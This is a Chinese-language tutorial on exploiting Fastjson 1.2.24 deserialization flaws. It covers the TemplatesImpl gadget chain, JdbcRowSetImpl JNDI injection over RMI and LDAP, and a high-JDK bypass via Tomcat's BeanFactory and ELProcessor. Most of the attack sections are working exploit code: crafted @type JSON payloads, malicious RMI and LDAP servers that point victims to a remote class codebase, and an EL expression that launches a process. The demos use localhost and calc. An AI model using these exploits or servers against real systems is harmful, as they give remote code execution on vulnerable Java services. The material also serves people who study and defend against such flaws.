0x01 环境配置

  • jdk8u65
  • Maven 3.6.3
  • 1.2.22 <= Fastjson <= 1.2.24

pom.xml 导入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.12</version>
</dependency>

主要有两条攻击的链子,一条是基于 TemplatesImpl 的链子,另一条是基于 JdbcRowSetImpl 的链子

0x02 TemplatesImpl 利用链

  • 在上一篇将 Fastjson 基础时我们已经有了初步的了解
  • 我们的 PoC 是把恶意代码放到一个 json 格式的字符串里面,开头是要接 @type
  • 这里其实赋值就代表我们不需要通过反射来修改值
  • @type 之后是我们要去进行反序列化的类,会获取它的构造函数、getter 与 setter 方法,所以我们首先是要找这个反序列化类的构造函数、 getter,setter 方法有问题的地方

现在从漏洞发现的角度去看一遍

选取命令执行类

这里要回想起之前在学习 CC 链的时候有一条链子 CC3 链开辟了 TemplatesImpl 加载字节码的先河,而它的漏洞点在于调用了 .newInstance() 方法。我们现在回去看这里,发现漏洞点的地方实际上是一个 getter 方法,如图:

img

getTransletInstance() 就是该类的 setter 方法,所以 TemplatesImpl 是满足我们 fastjson 漏洞的利用条件的,在构造 EXP 之前,先分析一下 EXP 里面的一些参数

分析类中参数

先看 TemplatesImpl 类中的 getTransletInstance() 方法,这里可以直接参考 CC3 链子的构造

img

  • _name 不可以为 null
  • _class 为 null,这样进入到 defineTransletClasses 这个方法里面,所以 _class 可以不用写,或者写为 null
  • _tfactory 也不能为 null,具体分析在 CC3 已经讲过了
  • _bytecodes 是恶意字节码。恶意字节码的类需要

那么我们现在的 payload 大概是这样的:

1
2
3
4
5
6
7
8
9
10
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
final String evilClassPath = "E:\\JavaClass\\TemplatesBytes.class";

"
{
\"@type\":\"" + NASTY_CLASS + "\",
\"_bytecodes\":[\""+evilCode+"\"],
'_name':'G3ng4r',
'_tfactory':{ },
";

但是现在还不能弹出计算器,因为还和 _outputProperties 这个变量有关系,fastjson 这个 sette 和 getteer 方法并不是所有都是调用的,是有条件的:

满足条件的 setter:

  • 非静态函数
  • 参数个数为 1 个
  • 返回类型为 void 或当前类

满足条件的 getter:

  • 非静态方法
  • 无参数
  • 返回值类型继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLong

这里我们想去调用的 getTransletInstance() 这个方法不满足上述的返回值,它返回的是一个抽象类

调用 getTransletInstance

这里用到的也是挖链子的思维,我们去找谁调用了 getTransletInstance(),右键 find usages:

img

看着是 newTransformer() 方法调用了 getTransletInstance() 方法,但是无法利用,因为它不是 setter/getter 方法,继续 find usages,找到了同类下的 getOutputProperties(),属于 getter 方法

img

现在我们大概的链子:

1
2
getOutputProperties()  ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties,  
_indentNumber, _tfactory);

然后我们看 getOutputProperties() 是否满足 getter 方法里面的返回值,一看是满足的,因为返回值是 Properties 即继承自 Map 类型

1
2
public class Properties extends Hashtable<Object,Object>
public class Hashtable<K,V> extends Dictionary<K,V> implements Map<K,V>, Cloneable, java.io.Serializable

所以我们现在的 payload 里面需要去管 getOutputProperties()outputProperties 变量的值,先把它赋值为空试一试,所以我们的 payload 大概是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

final String evilClassPath = ""E:\\Task\\Calc.class"";

"

{

\"@type\":\"" + NASTY_CLASS + "\",
\"_bytecodes\":[\""+evilCode+"\"],
'_name':'G3ng4r',
'_tfactory':{ },
\"_outputProperties\":{ },

";

构造 EXP

这里我们在反序列化的时候的参数需要加上 Object.classFeature.SupportNonPublicField,因为 getOutputProperties() 方法是私有的,而且正常我们写 EXP 没必要不带这个参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.util.Base64;

public class TemplatesImplExp {
public static void main(String[] args) {
try {
ParserConfig config = new ParserConfig();
final String evilClassPath = "E:\\Task\\test.class";
String evilCode = _readClass_(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'G3ng4r','_tfactory':{ },\"_outputProperties\":{ }}";
System._out_.println(text);
Object obj = JSON._parseObject_(text, Object.class,config, Feature._SupportNonPublicField_);
} catch (Exception e){
e.printStackTrace();
}
}

public static String readClass(String cls) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
IOUtils._copy_(new FileInputStream((new File(cls))),bos);
return Base64._getEncoder_().encodeToString(bos.toByteArray());
}
}

img

0x03 JdbcRowSetImpl 的利用链

简单来说就是 JNDI 注入的形式,也就是我们平常用的最多的攻击手段

基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI + RMIJNDI + LDAP,都是属于基于 Bean Property 类型的 JNDI 的利用方式

如果平常有打过 CTF 里面 fastjson 的题目的话,基本利用都是这个方式,因为动态加载字节码更加灵活

JNDI + RMI

这一条链子名为 JdbcRowSetImpl,所以我们先进到这个类里面进去,没有看到能够命令执行利用的 getter 与 setter 方法,其实这是 JNDI 的 Reference 的攻击方式

JdbcRowSetImpl 类里面有一个 setDataSourceName() 方法,一看方法名就知道是什么意思了。设置数据库源,我们通过这个方式攻击,EXP 如下:

1
2
3
4
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true
}

根据 JNDI 注入的漏洞利用,需要先起一个 Server,然后把恶意的类放到 vps 上即可。可以把之前的 Server 复制进来

RMI 服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry._createRegistry_(1099);
Reference reference = new Reference("Calc","Calc","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}

攻击 EXP:

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;


public class JdbcRowSetImplExp {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\", \"autoCommit\":true}";
JSON._parse_(payload);
}
}

img

JNDI + LDAP

原理也是一致的,服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;


// jndi 绕过 jdk8u191 之前的攻击
public class JNDILdapServer {
private static final String _LDAP_BASE _= "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:7777/#Calc";
int port = 1099;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(_LDAP_BASE_);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress._getByName_("0.0.0.0"),
port,
ServerSocketFactory._getDefault_(),
SocketFactory._getDefault_(),
(SSLSocketFactory) SSLSocketFactory._getDefault_()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System._out_.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
_/**_
_ * */ _public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
_/**_
_ * {@inheritDoc}_
_ * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)_
_ */ _@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System._out_.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode._SUCCESS_));
}

}
}

攻击 EXP:

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplLdapExp {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/Calc\", \"autoCommit\":true}";
JSON._parse_(payload);
}
}

img

0x04 高版本 jdk 绕过攻击

这里是针对基于 JdbcRowSetImpl 的利用链的 jdk 高版本绕过,绕过手段和之前是一样的,直接放 EXP 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import com.sun.jndi.rmi.registry.ReferenceWrapper;  
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

// JNDI 高版本 jdk 绕过服务端,用 bind 的方式
public class JNDIBypassHighJavaServerEL {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 1099");
Registry registry = LocateRegistry.createRegistry(1099);

// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true,"org.apache.naming.factory.BeanFactory",null);

// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));

// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
System.out.println("[*]Evil command: calc");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}

攻击 EXP 不变:

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;  

public class HighJdkBypass {
public static void main(String[] args) {
String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
}
}

这个 EXP 需要 CC 和 Tomcat 依赖:

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.99</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
<scope>compile</scope>
</dependency>

0x05 写在后面

  • TemplatesImpl 攻击链是有一点限制的,需要对方的代码里面能够让我们加载的私有的 getter/setter。也就是需要这个参数 Feature.SupportNonPublicField
  • 第二种攻击方式,需要针对 jdk 版本吧,不过平常攻击肯定是第二种用的比较多

参考

https://drun1baby.top/2022/08/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8702-Fastjson-1-2-24%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/